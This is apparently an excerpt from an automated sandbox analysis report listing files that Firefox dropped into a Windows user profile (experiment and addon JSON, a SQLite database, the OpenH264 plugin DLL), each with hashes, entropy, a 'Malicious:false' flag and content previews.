                                                                                                                                                                                                                                                                  SHA1:9EADC3BD5A63BA4E02F90757C67B38BCC7877D93
                                                                                                                                                                                                                                                                  SHA-256:DB57D59BE34E724F2C4C52B89FCDDAC4F8D716EE35B82E78E4B8B1B55D8783EE
                                                                                                                                                                                                                                                                  SHA-512:416DEBE817DA4550E202D6F18E3291BC5EB3F5C12848658DF49494B489DA8ACAC197A6FFE16D5F7037040CE1DB0DA07DFAD22880853F9AE1603D4D22483C1C33
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:{"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"csvImport":true},"enabled":true,"featureId":"cm-csv-import"}]},"active":true,"enrollmentId":"3ba649bc-be47-4b92-8762-21cab57bda3b","experimentType":"rollout","source":"rs-loader","userFacingName":"CSV Import (Release Rollout)","userFacingDescription":"This rollout enables users to import logins from a CSV file from the about:logins page.","lastSeen":"2023-10-04T13:40:33.697Z","featureIds":["cm-csv-import"],"prefs":[{"name":"signon.management.page.fileImport.enabled","branch":"default","featureId":"cm-csv-import","variable":"csvImport","originalValue":false}],"isRollout":true},"serp-ad-telemetry-rollout":{"slug":"serp-ad-telemetry-rollout","branch":{"slug":"control","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pr

                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\ExperimentStoreData.json.tmp

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  File Type:ASCII text, with very long lines (5740), with no line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):5740
                                                                                                                                                                                                                                                                  Entropy (8bit):5.015092418135787
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:96:8S+OVPUFRbOdwNIOdYpjvY1Q6L+b8qJKXki1H7OsH9KKH9iSiPzqNkmaLP:8S+OpU3OdwiOdkjUL+b8qcXl1H7OsH9Q
                                                                                                                                                                                                                                                                  MD5:0E22764F4E1EDCCD5A458170BE7E102D
                                                                                                                                                                                                                                                                  SHA1:9EADC3BD5A63BA4E02F90757C67B38BCC7877D93
                                                                                                                                                                                                                                                                  SHA-256:DB57D59BE34E724F2C4C52B89FCDDAC4F8D716EE35B82E78E4B8B1B55D8783EE
                                                                                                                                                                                                                                                                  SHA-512:416DEBE817DA4550E202D6F18E3291BC5EB3F5C12848658DF49494B489DA8ACAC197A6FFE16D5F7037040CE1DB0DA07DFAD22880853F9AE1603D4D22483C1C33
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:{"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"csvImport":true},"enabled":true,"featureId":"cm-csv-import"}]},"active":true,"enrollmentId":"3ba649bc-be47-4b92-8762-21cab57bda3b","experimentType":"rollout","source":"rs-loader","userFacingName":"CSV Import (Release Rollout)","userFacingDescription":"This rollout enables users to import logins from a CSV file from the about:logins page.","lastSeen":"2023-10-04T13:40:33.697Z","featureIds":["cm-csv-import"],"prefs":[{"name":"signon.management.page.fileImport.enabled","branch":"default","featureId":"cm-csv-import","variable":"csvImport","originalValue":false}],"isRollout":true},"serp-ad-telemetry-rollout":{"slug":"serp-ad-telemetry-rollout","branch":{"slug":"control","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pr

                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\addonStartup.json.lz4 (copy)

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  File Type:Mozilla lz4 compressed data, originally 22422 bytes
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):5308
                                                                                                                                                                                                                                                                  Entropy (8bit):6.599374203470186
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:96:z2YbKsKNU2xWrp327tGmD4wBON6h6cHAHJVauvjZHjkTymdS1/qTMg6Uhm:zTx2x2t0FDJ4NpkuvjdeplTMohm
                                                                                                                                                                                                                                                                  MD5:EB56C2F4DA9435F3D5574161F414CD17
                                                                                                                                                                                                                                                                  SHA1:74A8FC3EC0559740FD9D835B638354985E2DEAB6
                                                                                                                                                                                                                                                                  SHA-256:394E803D5FF8E156DFA7D15E96B51A683F4624A1BCF88EAA532399AC2C9B0966
                                                                                                                                                                                                                                                                  SHA-512:DF90568D191C757392FB85BDDA5333C7FE7E3BB370C5DE8C50DD810B938D732E39B5608FB4494CAADAE99E1601989FDFC0FEBDCF70F27FFE581F904170A81E0F
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:mozLz40..W....{"app-system-defaults":{"addon....formautofill@mozilla.org&..Gdependencies":[],"enabled":true,"lastModifiedTime":1695865283000,"loader":null,"path":s.....xpi","recommendationStateA...rootURI":"jar:file:///C:/Program%20Files/M.......refox/browser/features/...... !/...unInSafeMode..wsignedD...telemetryKey..7%40R...:1.0.1","version":"..`},"pic..#in.....T.n..w...........S.......(.[......0....0"},"screenshots..T.r.....[.......(.V....-39.......},"webcompat-reporter...Ofals..&.z.....[.......(.]....=1.5.............<.)....p....d......1.z.!18...5.....startupData...pX.astentL..!er...webRequest%..onBefore...[[{"incognitoi.UtabId..!yp...."main_frame"],"url...."*://login.microsoftonline.com/*","..@us/*L.dwindows...},["blocking"]],...Iimag...https://smartT.".f.....etp/facebook.svg",...Aplay*....8`script...P.....-....-testbed.herokuapp\.`shims_..3.jsh.bexampl|.......Pexten{..Q../?..s...S.J/_2..@&_3U..s7.addthis . ic...officialK......-angularjs/current/dist(..t.min.js...track.adB...net/s

                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\addonStartup.json.lz4.tmp

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  File Type:Mozilla lz4 compressed data, originally 22422 bytes
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):5308
                                                                                                                                                                                                                                                                  Entropy (8bit):6.599374203470186
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:96:z2YbKsKNU2xWrp327tGmD4wBON6h6cHAHJVauvjZHjkTymdS1/qTMg6Uhm:zTx2x2t0FDJ4NpkuvjdeplTMohm
                                                                                                                                                                                                                                                                  MD5:EB56C2F4DA9435F3D5574161F414CD17
                                                                                                                                                                                                                                                                  SHA1:74A8FC3EC0559740FD9D835B638354985E2DEAB6
                                                                                                                                                                                                                                                                  SHA-256:394E803D5FF8E156DFA7D15E96B51A683F4624A1BCF88EAA532399AC2C9B0966
                                                                                                                                                                                                                                                                  SHA-512:DF90568D191C757392FB85BDDA5333C7FE7E3BB370C5DE8C50DD810B938D732E39B5608FB4494CAADAE99E1601989FDFC0FEBDCF70F27FFE581F904170A81E0F
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:mozLz40..W....{"app-system-defaults":{"addon....formautofill@mozilla.org&..Gdependencies":[],"enabled":true,"lastModifiedTime":1695865283000,"loader":null,"path":s.....xpi","recommendationStateA...rootURI":"jar:file:///C:/Program%20Files/M.......refox/browser/features/...... !/...unInSafeMode..wsignedD...telemetryKey..7%40R...:1.0.1","version":"..`},"pic..#in.....T.n..w...........S.......(.[......0....0"},"screenshots..T.r.....[.......(.V....-39.......},"webcompat-reporter...Ofals..&.z.....[.......(.]....=1.5.............<.)....p....d......1.z.!18...5.....startupData...pX.astentL..!er...webRequest%..onBefore...[[{"incognitoi.UtabId..!yp...."main_frame"],"url...."*://login.microsoftonline.com/*","..@us/*L.dwindows...},["blocking"]],...Iimag...https://smartT.".f.....etp/facebook.svg",...Aplay*....8`script...P.....-....-testbed.herokuapp\.`shims_..3.jsh.bexampl|.......Pexten{..Q../?..s...S.J/_2..@&_3U..s7.addthis . ic...officialK......-angularjs/current/dist(..t.min.js...track.adB...net/s

                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\addons.json (copy)

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  File Type:JSON data
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):24
                                                                                                                                                                                                                                                                  Entropy (8bit):3.91829583405449
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:3:YWGifTJE6iHQ:YWGif9EE
                                                                                                                                                                                                                                                                  MD5:3088F0272D29FAA42ED452C5E8120B08
                                                                                                                                                                                                                                                                  SHA1:C72AA542EF60AFA3DF5DFE1F9FCC06C0B135BE23
                                                                                                                                                                                                                                                                  SHA-256:D587CEC944023447DC91BC5F71E2291711BA5ADD337464837909A26F34BC5A06
                                                                                                                                                                                                                                                                  SHA-512:B662414EDD6DEF8589304904263584847586ECCA0B0E6296FB3ADB2192D92FB48697C99BD27C4375D192150E3F99102702AF2391117FFF50A9763C74C193D798
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:{"schema":6,"addons":[]}

                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\addons.json.tmp

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  File Type:JSON data
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):24
                                                                                                                                                                                                                                                                  Entropy (8bit):3.91829583405449
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:3:YWGifTJE6iHQ:YWGif9EE
                                                                                                                                                                                                                                                                  MD5:3088F0272D29FAA42ED452C5E8120B08
                                                                                                                                                                                                                                                                  SHA1:C72AA542EF60AFA3DF5DFE1F9FCC06C0B135BE23
                                                                                                                                                                                                                                                                  SHA-256:D587CEC944023447DC91BC5F71E2291711BA5ADD337464837909A26F34BC5A06
                                                                                                                                                                                                                                                                  SHA-512:B662414EDD6DEF8589304904263584847586ECCA0B0E6296FB3ADB2192D92FB48697C99BD27C4375D192150E3F99102702AF2391117FFF50A9763C74C193D798
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:{"schema":6,"addons":[]}

                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\content-prefs.sqlite

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  File Type:SQLite 3.x database, user version 5, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 8, cookie 0x6, schema 4, largest root page 8, UTF-8, vacuum mode 1, version-valid-for 4
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):262144
                                                                                                                                                                                                                                                                  Entropy (8bit):0.04905141882491872
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:24:DLSvwae+Q8Uu50xj0aWe9LxYkKA25Q5tvAA:DKwae+QtMImelekKDa5
                                                                                                                                                                                                                                                                  MD5:8736A542C5564A922C47B19D9CC5E0F2
                                                                                                                                                                                                                                                                  SHA1:CE9D58967DA9B5356D6C1D8A482F9CE74DA9097A
                                                                                                                                                                                                                                                                  SHA-256:97CE5D8AFBB0AA610219C4FAC3927E32C91BFFD9FD971AF68C718E7B27E40077
                                                                                                                                                                                                                                                                  SHA-512:99777325893DC7A95FD49B2DA18D32D65F97CC7A8E482D78EDC32F63245457FA5A52750800C074D552D20B6A215604161FDC88763D93C76A8703470C3064196B
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:SQLite format 3......@ ..........................................................................j......|....~.}.}z}-|.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\crashes\store.json.mozlz4 (copy)

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  File Type:Mozilla lz4 compressed data, originally 56 bytes
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):66
                                                                                                                                                                                                                                                                  Entropy (8bit):4.837595020998689
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:3:3fX/xH8IXl/I3v0lb7iioW:vXpH1RPXt
                                                                                                                                                                                                                                                                  MD5:A6338865EB252D0EF8FCF11FA9AF3F0D
                                                                                                                                                                                                                                                                  SHA1:CECDD4C4DCAE10C2FFC8EB938121B6231DE48CD3
                                                                                                                                                                                                                                                                  SHA-256:078648C042B9B08483CE246B7F01371072541A2E90D1BEB0C8009A6118CBD965
                                                                                                                                                                                                                                                                  SHA-512:D950227AC83F4E8246D73F9F35C19E88CE65D0CA5F1EF8CCBB02ED6EFC66B1B7E683E2BA0200279D7CA4B49831FD8C3CEB0584265B10ACCFF2611EC1CA8C0C6C
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:mozLz40.8.....{"v":1,"crashes":{},"countsByDay....rruptDate":null}

                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\crashes\store.json.mozlz4.tmp

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  File Type:Mozilla lz4 compressed data, originally 56 bytes
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):66
                                                                                                                                                                                                                                                                  Entropy (8bit):4.837595020998689
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:3:3fX/xH8IXl/I3v0lb7iioW:vXpH1RPXt
                                                                                                                                                                                                                                                                  MD5:A6338865EB252D0EF8FCF11FA9AF3F0D
                                                                                                                                                                                                                                                                  SHA1:CECDD4C4DCAE10C2FFC8EB938121B6231DE48CD3
                                                                                                                                                                                                                                                                  SHA-256:078648C042B9B08483CE246B7F01371072541A2E90D1BEB0C8009A6118CBD965
                                                                                                                                                                                                                                                                  SHA-512:D950227AC83F4E8246D73F9F35C19E88CE65D0CA5F1EF8CCBB02ED6EFC66B1B7E683E2BA0200279D7CA4B49831FD8C3CEB0584265B10ACCFF2611EC1CA8C0C6C
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:mozLz40.8.....{"v":1,"crashes":{},"countsByDay....rruptDate":null}

                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\extensions.json (copy)

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  File Type:JSON data
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):36830
                                                                                                                                                                                                                                                                  Entropy (8bit):5.1867463390487
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:768:JI4avfWX94O6L4x4ME454N4ohvM4T4Pia4T4I4t54U:JI4KvG
                                                                                                                                                                                                                                                                  MD5:98875950B62B398FFE70C0A8D0998017
                                                                                                                                                                                                                                                                  SHA1:CFCFFF938402E53D341FE392E25D2E6C557E548F
                                                                                                                                                                                                                                                                  SHA-256:1B445C7E12712026D4E663426527CE58FD221D2E26545AEA699E67D60F16E7F0
                                                                                                                                                                                                                                                                  SHA-512:728FF6FF915A45B44D720F41F9545F41F1BF5FB218D58073BD27DB19145D2225488988BE80FB0F712922D7B661E1A64448E3F71F09A1480B6F20BD2480888ABF
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:{"schemaVersion":35,"addons":[{"id":"formautofill@mozilla.org","syncGUID":"{7a5650ac-9a89-4807-a040-9f0832bf39a9}","version":"1.0.1","type":"extension","loader":null,"updateURL":null,"installOrigins":null,"manifestVersion":2,"optionsURL":null,"optionsType":null,"optionsBrowserStyle":true,"aboutURL":null,"defaultLocale":{"name":"Form Autofill","creator":null,"developers":null,"translators":null,"contributors":null},"visible":true,"active":true,"userDisabled":false,"appDisabled":false,"embedderDisabled":false,"installDate":1695865283000,"updateDate":1695865283000,"applyBackgroundUpdates":1,"path":"C:\\Program Files\\Mozilla Firefox\\browser\\features\\formautofill@mozilla.org.xpi","skinnable":false,"sourceURI":null,"releaseNotesURI":null,"softDisabled":false,"foreignInstall":false,"strictCompatibility":true,"locales":[],"targetApplications":[{"id":"toolkit@mozilla.org","minVersion":null,"maxVersion":null}],"targetPlatforms":[],"signedDate":null,"seen":true,"dependencies":[],"incognito":"

                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\extensions.json.tmp

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  File Type:JSON data
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):36830
                                                                                                                                                                                                                                                                  Entropy (8bit):5.1867463390487
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:768:JI4avfWX94O6L4x4ME454N4ohvM4T4Pia4T4I4t54U:JI4KvG
                                                                                                                                                                                                                                                                  MD5:98875950B62B398FFE70C0A8D0998017
                                                                                                                                                                                                                                                                  SHA1:CFCFFF938402E53D341FE392E25D2E6C557E548F
                                                                                                                                                                                                                                                                  SHA-256:1B445C7E12712026D4E663426527CE58FD221D2E26545AEA699E67D60F16E7F0
                                                                                                                                                                                                                                                                  SHA-512:728FF6FF915A45B44D720F41F9545F41F1BF5FB218D58073BD27DB19145D2225488988BE80FB0F712922D7B661E1A64448E3F71F09A1480B6F20BD2480888ABF
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:{"schemaVersion":35,"addons":[{"id":"formautofill@mozilla.org","syncGUID":"{7a5650ac-9a89-4807-a040-9f0832bf39a9}","version":"1.0.1","type":"extension","loader":null,"updateURL":null,"installOrigins":null,"manifestVersion":2,"optionsURL":null,"optionsType":null,"optionsBrowserStyle":true,"aboutURL":null,"defaultLocale":{"name":"Form Autofill","creator":null,"developers":null,"translators":null,"contributors":null},"visible":true,"active":true,"userDisabled":false,"appDisabled":false,"embedderDisabled":false,"installDate":1695865283000,"updateDate":1695865283000,"applyBackgroundUpdates":1,"path":"C:\\Program Files\\Mozilla Firefox\\browser\\features\\formautofill@mozilla.org.xpi","skinnable":false,"sourceURI":null,"releaseNotesURI":null,"softDisabled":false,"foreignInstall":false,"strictCompatibility":true,"locales":[],"targetApplications":[{"id":"toolkit@mozilla.org","minVersion":null,"maxVersion":null}],"targetPlatforms":[],"signedDate":null,"seen":true,"dependencies":[],"incognito":"

                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-shm

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  File Type:data
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):32768
                                                                                                                                                                                                                                                                  Entropy (8bit):0.017262956703125623
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
                                                                                                                                                                                                                                                                  MD5:B7C14EC6110FA820CA6B65F5AEC85911
                                                                                                                                                                                                                                                                  SHA1:608EEB7488042453C9CA40F7E1398FC1A270F3F4
                                                                                                                                                                                                                                                                  SHA-256:FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
                                                                                                                                                                                                                                                                  SHA-512:D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll (copy)

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):1021904
                                                                                                                                                                                                                                                                  Entropy (8bit):6.648417932394748
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:12288:vYLdTfFKbNSjv92eFN+3wH+NYriA0Iq6lh6VawYIpAvwHN/Uf1h47HAfg1oet:vYLdTZ923NYrjwNpgwef1hzfg1x
                                                                                                                                                                                                                                                                  MD5:FE3355639648C417E8307C6D051E3E37
                                                                                                                                                                                                                                                                  SHA1:F54602D4B4778DA21BC97C7238FC66AA68C8EE34
                                                                                                                                                                                                                                                                  SHA-256:1ED7877024BE63A049DA98733FD282C16BD620530A4FB580DACEC3A78ACE914E
                                                                                                                                                                                                                                                                  SHA-512:8F4030BB2464B98ECCBEA6F06EB186D7216932702D94F6B84C56419E9CF65A18309711AB342D1513BF85AED402BC3535A70DB4395874828F0D35C278DD2EAC9C
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Antivirus:
                                                                                                                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                  Joe Sandbox View:
                                                                                                                                                                                                                                                                  • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                  • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                  • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                  • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                  • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                  • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                  • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                  • Filename: WinFIG.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                  • Filename: WinFIG-2024.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                  • Filename: SentinelOculus.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......NH...)...)...)..eM...)..eM...)..eM..)..eM...)...)..i)..XA...)..XA..;)..XA...)...)..g)..cA...)..cA...)..Rich.)..........PE..d....z\.........." .....t................................................................`.........................................P...,...|...(............P...H...z.................T...........................0...................p............................text...$s.......t.................. ..`.rdata...~...........x..............@..@.data....3..........................@....pdata...H...P...J..................@..@.rodata..............^..............@..@.reloc...............j..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll.tmp

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):1021904
                                                                                                                                                                                                                                                                  Entropy (8bit):6.648417932394748
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:12288:vYLdTfFKbNSjv92eFN+3wH+NYriA0Iq6lh6VawYIpAvwHN/Uf1h47HAfg1oet:vYLdTZ923NYrjwNpgwef1hzfg1x
                                                                                                                                                                                                                                                                  MD5:FE3355639648C417E8307C6D051E3E37
                                                                                                                                                                                                                                                                  SHA1:F54602D4B4778DA21BC97C7238FC66AA68C8EE34
                                                                                                                                                                                                                                                                  SHA-256:1ED7877024BE63A049DA98733FD282C16BD620530A4FB580DACEC3A78ACE914E
                                                                                                                                                                                                                                                                  SHA-512:8F4030BB2464B98ECCBEA6F06EB186D7216932702D94F6B84C56419E9CF65A18309711AB342D1513BF85AED402BC3535A70DB4395874828F0D35C278DD2EAC9C
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Antivirus:
                                                                                                                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......NH...)...)...)..eM...)..eM...)..eM..)..eM...)...)..i)..XA...)..XA..;)..XA...)...)..g)..cA...)..cA...)..Rich.)..........PE..d....z\.........." .....t................................................................`.........................................P...,...|...(............P...H...z.................T...........................0...................p............................text...$s.......t.................. ..`.rdata...~...........x..............@..@.data....3..........................@....pdata...H...P...J..................@..@.rodata..............^..............@..@.reloc...............j..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.info (copy)

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  File Type:ASCII text
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):116
                                                                                                                                                                                                                                                                  Entropy (8bit):4.968220104601006
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:3:C3OuN9RAM7VDXcEzq+rEakOvTMBv+FdBAIABv+FEn:0BDUmHlvAWeWEn
                                                                                                                                                                                                                                                                  MD5:3D33CDC0B3D281E67DD52E14435DD04F
                                                                                                                                                                                                                                                                  SHA1:4DB88689282FD4F9E9E6AB95FCBB23DF6E6485DB
                                                                                                                                                                                                                                                                  SHA-256:F526E9F98841D987606EFEAFF7F3E017BA9FD516C4BE83890C7F9A093EA4C47B
                                                                                                                                                                                                                                                                  SHA-512:A4A96743332CC8EF0F86BC2E6122618BFC75ED46781DADBAC9E580CD73DF89E74738638A2CCCB4CAA4CBBF393D771D7F2C73F825737CDB247362450A0D4A4BC1
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:Name: gmpopenh264.Description: GMP Plugin for OpenH264..Version: 1.8.1.APIs: encode-video[h264], decode-video[h264].

                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.info.tmp

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  File Type:ASCII text
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):116
                                                                                                                                                                                                                                                                  Entropy (8bit):4.968220104601006
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:3:C3OuN9RAM7VDXcEzq+rEakOvTMBv+FdBAIABv+FEn:0BDUmHlvAWeWEn
                                                                                                                                                                                                                                                                  MD5:3D33CDC0B3D281E67DD52E14435DD04F
                                                                                                                                                                                                                                                                  SHA1:4DB88689282FD4F9E9E6AB95FCBB23DF6E6485DB
                                                                                                                                                                                                                                                                  SHA-256:F526E9F98841D987606EFEAFF7F3E017BA9FD516C4BE83890C7F9A093EA4C47B
                                                                                                                                                                                                                                                                  SHA-512:A4A96743332CC8EF0F86BC2E6122618BFC75ED46781DADBAC9E580CD73DF89E74738638A2CCCB4CAA4CBBF393D771D7F2C73F825737CDB247362450A0D4A4BC1
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:Name: gmpopenh264.Description: GMP Plugin for OpenH264..Version: 1.8.1.APIs: encode-video[h264], decode-video[h264].

